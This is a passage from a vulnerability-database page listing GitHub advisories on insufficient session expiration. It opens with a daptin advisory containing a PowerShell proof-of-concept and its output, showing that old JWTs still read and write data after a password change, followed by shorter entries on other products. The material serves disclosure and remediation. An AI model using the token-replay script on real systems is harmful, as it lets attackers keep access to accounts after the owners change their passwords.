Write-Host "`n===== TEST COMPLETE =====" -ForegroundColor Cyan

Verified test output:

[5] Testing OLD token after password change...
  RESULT: OLD token STILL VALID (HTTP 200, 3 records)
  *** VULN CONFIRMED: Session NOT invalidated after password change ***

[6] Write test with OLD token...
  WRITE SUCCEEDED with old token!

[7] New password login...
  New password login: SUCCESS

[8] Old password login attempt...
  Old password REJECTED (password change confirmed)

[9] Multi-token persistence test...
  Password changed again. Testing all 3 pre-change tokens:
  Token 1: STILL VALID
  Token 2: STILL VALID
  Token 3: STILL VALID

[10] JWT Claims Analysis:
  Payload: {"email":"victim04@p.me","exp":1776591689,"iat":1776332489,
    "iss":"daptin-2eda69","jti":"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d",
    "name":"victim04","nbf":1776332489,"sub":"1a857f2e-42d2-4314-afe9-d782e1b84dbb"}
  Missing: pwd_version / session_version claim
  Missing: token revocation on password change

Recommended Fix

  1. Add a password_version column to the user_account table (integer, incremented on each password change)
  2. Include pwd_version in JWT claims at token generation time (action_generate_jwt_token.go:74)
  3. Check pwd_version during validation in CheckJWT() (jwtmiddleware.go:232-260) — compare the claim value against the current database value; reject if mismatched
  4. Call InvalidateAuthCacheForEmail() in resource_update.go when a password column is updated, to force the auth cache to re-fetch user state
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/daptin/daptin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:57:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA session invalidation vulnerability exists in daptin\u0027s authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (`CheckJWT`) only verifies token signature, expiry, issuer, and signing algorithm \u2014 it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls `InvalidateAuthCacheForEmail()` and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.\n\n#### Vulnerable Files\n\n* `daptin/server/jwt/jwtmiddleware.go` \u2014 JWT validation without session versioning\n* `daptin/server/resource/resource_update.go` \u2014 password update without session invalidation\n* `daptin/server/actions/action_generate_jwt_token.go` \u2014 JWT claims lack password version\n* `daptin/server/auth/auth.go` \u2014 `InvalidateAuthCacheForEmail` exists but not called on update\n* `daptin/server/resource/columns.go` \u2014 password change action wiring\n\n#### Vulnerable Code Snippet\n\n**1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):**\n\n```go\n// Now parse the token\nparsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)\n\n// Check if there was an error in parsing...\nif err != nil {\n    m.logf(\"Error parsing token: %v\", err)\n    m.Options.ErrorHandler(w, r, err.Error())\n    return nil, fmt.Errorf(\"Error parsing token: %v\", err)\n}\n\nif parsedToken.Claims.(jwt.MapClaims)[\"iss\"] != m.Options.Issuer {\n    return nil, fmt.Errorf(\"Invalid issuer: %v\", parsedToken.Header[\"iss\"])\n}\n\nif m.Options.SigningMethod != nil \u0026\u0026 m.Options.SigningMethod.Alg() != parsedToken.Header[\"alg\"] {\n    // ... algorithm check\n}\n\n// Check if the parsed token is valid...\nif !parsedToken.Valid {\n    m.logf(\"Token is invalid\")\n    m.Options.ErrorHandler(w, r, \"The token isn\u0027t valid\")\n    return nil, errors.New(\"Token is invalid\")\n}\n```\n\n**No check exists for password version, session version, or token revocation status.** A token issued before a password change passes all these checks identically.\n\n**2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):**\n\n```go\nif col.ColumnType == \"password\" {\n    val, err = BcryptHashString(val.(string))\n    if err != nil {\n        log.Errorf(\"Failed to convert string to bcrypt hash, not storing the value: %v\", err)\n        continue\n    }\n}\n```\n\nThe new bcrypt hash is stored, but no call to `auth.InvalidateAuthCacheForEmail()` is made, and no token revocation mechanism is triggered.\n\n**3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):**\n\n```go\ntoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n    \"email\": existingUser[\"email\"],\n    \"sub\":   daptinid.InterfaceToDIR(existingUser[\"reference_id\"]).String(),\n    \"name\":  existingUser[\"name\"],\n    \"nbf\":   timeNow.Unix(),\n    \"exp\":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),\n    \"iss\":   d.jwtTokenIssuer,\n    \"iat\":   timeNow.Unix(),\n    \"jti\":   u.String(),\n})\n```\n\nClaims include `email`, `sub`, `name`, `nbf`, `exp`, `iss`, `iat`, `jti` \u2014 but **no `pwd_version`** or equivalent claim that could be compared against a server-side value during validation.\n\n**4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):**\n\n```go\nfunc InvalidateAuthCacheForEmail(email string) {\n    if olricCache == nil {\n        return\n    }\n    _, err := olricCache.Delete(context.Background(), email)\n    if err != nil {\n        log.Warnf(\"failed to invalidate auth cache for %s: %v\", email, err)\n    }\n}\n```\n\nThis function is called in `resource_create.go:470`, `resource_delete.go:73`, and `dbmethods.go:1194` \u2014 but **never** in `resource_update.go`, which is the code path for password changes.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account on the daptin instance\n2. Sign in and capture the JWT (this becomes the \"stolen\" token)\n3. Change the user\u0027s password via `PATCH /api/user_account/{id}`\n4. Reuse the original JWT \u2014 it still returns `HTTP 200` with full data access\n5. Confirm the old password no longer works for new login (password did change)\n6. Confirm the old token still allows write operations (full CRUD retained)\n\n**Result: `HTTP 200`** \u2014 write operations also succeed with the old token.\n\n#### Automation PoC\n\n```\n# VULN-04: No Session Invalidation After Password Change\n# CWE-613 | daptin v0.9.82\n# Proves: old JWT stays valid after password change\n\n$BASE = \"http://127.0.0.1:6336\"\nWrite-Host \"`n===== VULN-04: Session Invalidation Test =====`n\" -ForegroundColor Cyan\n\n# Step 0: Clean restart\nWrite-Host \"[0] Restarting container...\" -ForegroundColor Yellow\ndocker compose -f \"c:\\Users\\Vashu\\Desktop\\Projects\\ZeroDay\\cve_hunt\\daptin\\docker-compose.yml\" restart daptin\nStart-Sleep 8\n\n# Step 1: Create victim user\nWrite-Host \"[1] Creating victim user...\" -ForegroundColor Yellow\n$s = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027;passwordConfirm=\u0027OrigPass123!\u0027;name=\u0027victim04\u0027}} | ConvertTo-Json\ntry { Invoke-RestMethod -Uri \"$BASE/action/user_account/signup\" -Method Post -ContentType \u0027application/json\u0027 -Body $s | Out-Null } catch {}\n\n# Step 2: Sign in, capture OLD token (simulates stolen token)\nWrite-Host \"[2] Signing in for OLD token...\" -ForegroundColor Yellow\n$si = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\n$r = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si\n$OLD = ($r | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \"  OLD token captured (len=$($OLD.Length))\" -ForegroundColor Green\n\n# Step 3: Get victim ID\n$ua = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n$ID = ($ua.data | Where-Object {$_.attributes.email -eq \u0027victim04@p.me\u0027} | Select-Object -First 1).id\nWrite-Host \"[3] Victim ID: $ID\" -ForegroundColor Green\n\n# Step 4: VICTIM CHANGES PASSWORD\nWrite-Host \"[4] *** VICTIM CHANGES PASSWORD ***\" -ForegroundColor Red\n$p = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027NewPass456!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p | Out-Null\nWrite-Host \"  Password changed.\" -ForegroundColor Green\n\n# Step 5: OLD token still works?\nWrite-Host \"[5] Testing OLD token after password change...\" -ForegroundColor Red\ntry {\n  $t = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n  Write-Host \"  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)\" -ForegroundColor Red\n  Write-Host \"  *** VULN CONFIRMED: Session NOT invalidated after password change ***\" -ForegroundColor Red\n} catch {\n  Write-Host \"  RESULT: OLD token REJECTED\" -ForegroundColor Green\n}\n\n# Step 6: Write test with OLD token\nWrite-Host \"[6] Write test with OLD token...\" -ForegroundColor Yellow\ntry {\n  $wp = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{name=\u0027hacked_by_old_token\u0027}}} | ConvertTo-Json -Depth 8\n  Invoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $wp | Out-Null\n  Write-Host \"  WRITE SUCCEEDED with old token!\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Write rejected\" -ForegroundColor Green\n}\n\n# Step 7: New password works for login?\nWrite-Host \"[7] New password login...\" -ForegroundColor Yellow\n$si2 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027NewPass456!\u0027}} | ConvertTo-Json\n$r2 = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n$NEW = ($r2 | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\nWrite-Host \"  New password login: SUCCESS\" -ForegroundColor Green\n\n# Step 8: Old password rejected for login?\nWrite-Host \"[8] Old password login attempt...\" -ForegroundColor Yellow\n$si3 = @{attributes=@{email=\u0027victim04@p.me\u0027;password=\u0027OrigPass123!\u0027}} | ConvertTo-Json\ntry {\n  Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si3 | Out-Null\n  Write-Host \"  Old password STILL WORKS (unexpected!)\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Old password REJECTED (password change confirmed)\" -ForegroundColor Green\n}\n\n# Step 9: Multi-token test\nWrite-Host \"[9] Multi-token persistence test...\" -ForegroundColor Yellow\n$toks = @()\nfor ($i=0; $i -lt 3; $i++) {\n  $rl = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType \u0027application/json\u0027 -Body $si2\n  $toks += ($rl | Where-Object {$_.ResponseType -eq \u0027client.store.set\u0027}).Attributes.value\n}\n$p2 = @{data=@{type=\u0027user_account\u0027;id=$ID;attributes=@{password=\u0027ThirdPass789!\u0027}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $($toks[0])\"} -ContentType \u0027application/vnd.api+json\u0027 -Body $p2 | Out-Null\nWrite-Host \"  Password changed again. Testing all 3 pre-change tokens:\"\nfor ($i=0; $i -lt $toks.Count; $i++) {\n  try {\n    Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $($toks[$i])\"} | Out-Null\n    Write-Host \"  Token $($i+1): STILL VALID\" -ForegroundColor Red\n  } catch {\n    Write-Host \"  Token $($i+1): REJECTED\" -ForegroundColor Green\n  }\n}\n\n# Step 10: JWT decode\nWrite-Host \"`n[10] JWT Claims Analysis:\" -ForegroundColor Yellow\nif ($OLD) {\n  $parts = $OLD.Split(\u0027.\u0027)\n  $pl = $parts[1]\n  $pad = 4 - ($pl.Length % 4)\n  if ($pad -ne 4) { $pl += \"=\" * $pad }\n  $pl = $pl.Replace(\"-\",\"+\").Replace(\"_\",\"/\")\n  $bytes = [Convert]::FromBase64String($pl)\n  $json = [Text.Encoding]::UTF8.GetString($bytes)\n  Write-Host \"  Payload: $json\" -ForegroundColor Cyan\n}\nWrite-Host \"  Missing: pwd_version / session_version claim\" -ForegroundColor Red\nWrite-Host \"  Missing: token revocation on password change\" -ForegroundColor Red\n\nWrite-Host \"`n===== TEST COMPLETE =====\" -ForegroundColor Cyan\n```\n\n**Verified test output:**\n\n```\n[5] Testing OLD token after password change...\n  RESULT: OLD token STILL VALID (HTTP 200, 3 records)\n  *** VULN CONFIRMED: Session NOT invalidated after password change ***\n\n[6] Write test with OLD token...\n  WRITE SUCCEEDED with old token!\n\n[7] New password login...\n  New password login: SUCCESS\n\n[8] Old password login attempt...\n  Old password REJECTED (password change confirmed)\n\n[9] Multi-token persistence test...\n  Password changed again. Testing all 3 pre-change tokens:\n  Token 1: STILL VALID\n  Token 2: STILL VALID\n  Token 3: STILL VALID\n\n[10] JWT Claims Analysis:\n  Payload: {\"email\":\"victim04@p.me\",\"exp\":1776591689,\"iat\":1776332489,\n    \"iss\":\"daptin-2eda69\",\"jti\":\"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d\",\n    \"name\":\"victim04\",\"nbf\":1776332489,\"sub\":\"1a857f2e-42d2-4314-afe9-d782e1b84dbb\"}\n  Missing: pwd_version / session_version claim\n  Missing: token revocation on password change\n```\n\n## Recommended Fix\n\n1. **Add a `password_version` column** to the `user_account` table (integer, incremented on each password change)\n2. **Include `pwd_version` in JWT claims** at token generation time (`action_generate_jwt_token.go:74`)\n3. **Check `pwd_version` during validation** in `CheckJWT()` (`jwtmiddleware.go:232-260`) \u2014 compare the claim value against the current database value; reject if mismatched\n4. **Call `InvalidateAuthCacheForEmail()`** in `resource_update.go` when a password column is updated, to force the auth cache to re-fetch user state",
  "id": "GHSA-258c-965c-p3hc",
  "modified": "2026-05-07T02:57:54Z",
  "published": "2026-05-07T02:57:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/daptin/daptin/security/advisories/GHSA-258c-965c-p3hc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/daptin/daptin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Daptin\u0027s Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change"
}

GHSA-25XC-R4X7-G46H

Vulnerability from github – Published: 2022-11-22 03:30 – Updated: 2025-04-29 18:30
VLAI
Details

Fusiondirectory 1.3 suffers from Improper Session Handling.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-22T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Fusiondirectory 1.3 suffers from Improper Session Handling.",
  "id": "GHSA-25xc-r4x7-g46h",
  "modified": "2025-04-29T18:30:40Z",
  "published": "2022-11-22T03:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36179"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://yoroi.company/research/cve-advisory-full-disclosure-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://fusiondirectory.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-26XR-J83G-4FMM

Vulnerability from github – Published: 2026-03-06 18:31 – Updated: 2026-05-05 21:31
VLAI
Details

The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-27764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-06T16:16:11Z",
    "severity": "MODERATE"
  },
  "details": "The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable\u00a0a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.",
  "id": "GHSA-26xr-j83g-4fmm",
  "modified": "2026-05-05T21:31:15Z",
  "published": "2026-03-06T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-062-06.json"
    },
    {
      "type": "WEB",
      "url": "https://mobiliti.hu/emobilitas/ugyfeltamogatas/ugyfelszolgalat"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-275C-XPVC-JGFW

Vulnerability from github – Published: 2026-07-02 17:11 – Updated: 2026-07-02 17:11
VLAI
Summary
OpenClaw: Slack and Zalo webhook secrets could remain active after secrets.reload
Details

Summary

Slack and Zalo webhook secrets could remain active after secrets.reload. In affected versions, a caller with an old webhook secret during the stale-secret window could keep accepting the previous secret after secrets.reload.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could deliver webhook events briefly after the operator expected revocation. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.4.22.

Mitigations

restart the affected channel runtime after rotating webhook secrets until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.4.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:11:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nSlack and Zalo webhook secrets could remain active after secrets.reload. In affected versions, a caller with an old webhook secret during the stale-secret window could keep accepting the previous secret after `secrets.reload`.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could deliver webhook events briefly after the operator expected revocation. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.4.22`.\n\n### Mitigations\n\nrestart the affected channel runtime after rotating webhook secrets until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-275c-xpvc-jgfw",
  "modified": "2026-07-02T17:11:03Z",
  "published": "2026-07-02T17:11:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-275c-xpvc-jgfw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Slack and Zalo webhook secrets could remain active after secrets.reload"
}

GHSA-289X-5MJ7-XHG5

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32
VLAI
Details

Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-71335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.",
  "id": "GHSA-289x-5mj7-xhg5",
  "modified": "2026-06-26T00:32:05Z",
  "published": "2026-06-26T00:32:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x7rp-qj2h-ghgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71335"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-session-invalidation-failure-after-password-change"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

Set sessions/credentials expiration date.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list